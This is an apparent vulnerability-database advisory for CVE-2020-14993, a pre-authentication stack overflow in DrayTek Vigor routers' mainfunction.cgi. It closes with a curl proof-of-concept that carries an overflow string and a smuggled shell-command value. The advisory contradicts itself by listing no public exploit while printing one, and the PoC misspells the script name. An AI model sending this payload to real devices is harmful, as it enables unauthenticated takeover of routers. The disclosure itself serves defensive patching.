#VU29336 Stack-based buffer overflow in DrayTek Corp. products - CVE-2020-14993
Published: June 27, 2020
Vulnerability identifier: #VU29336
Vulnerability risk: High
CVSSv4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/U:Amber
CVE-ID: CVE-2020-14993
CWE-ID: CWE-121
Exploitation vector: Remote access
Exploit availability:
No public exploit available
Vulnerable software:
Vigor 3900
Vigor 2960
Vigor 300B
Vigor 3900
Vigor 2960
Vigor 300B
Software vendor:
DrayTek Corp.
DrayTek Corp.
Description
The vulnerability allows a remote attacker to execute arbitrary code on the target system.
The vulnerability exists due to a boundary error when processing data passed via the formuserphonenumber parameter in an authusersms action to mainfunction.cgi . A remote non-authenticated user can send a specially crafted request to the affected device, trigger a stack-based buffer overflow and execute arbitrary code on the target system.
Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.
PoC:
curl -d "action=authusersms&custom1=1;&custom2=1&custom3=1&formuserphonenumber=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xEC\xC7\x01&URL=www.baidu.com&HOST=123456897&serverip=";ls;echo 'pwn it';&filename=pwn" -X POST http://192.168.0.250/cgi-bin/mainfunciton.cgiRemediation
Install update from vendor's website.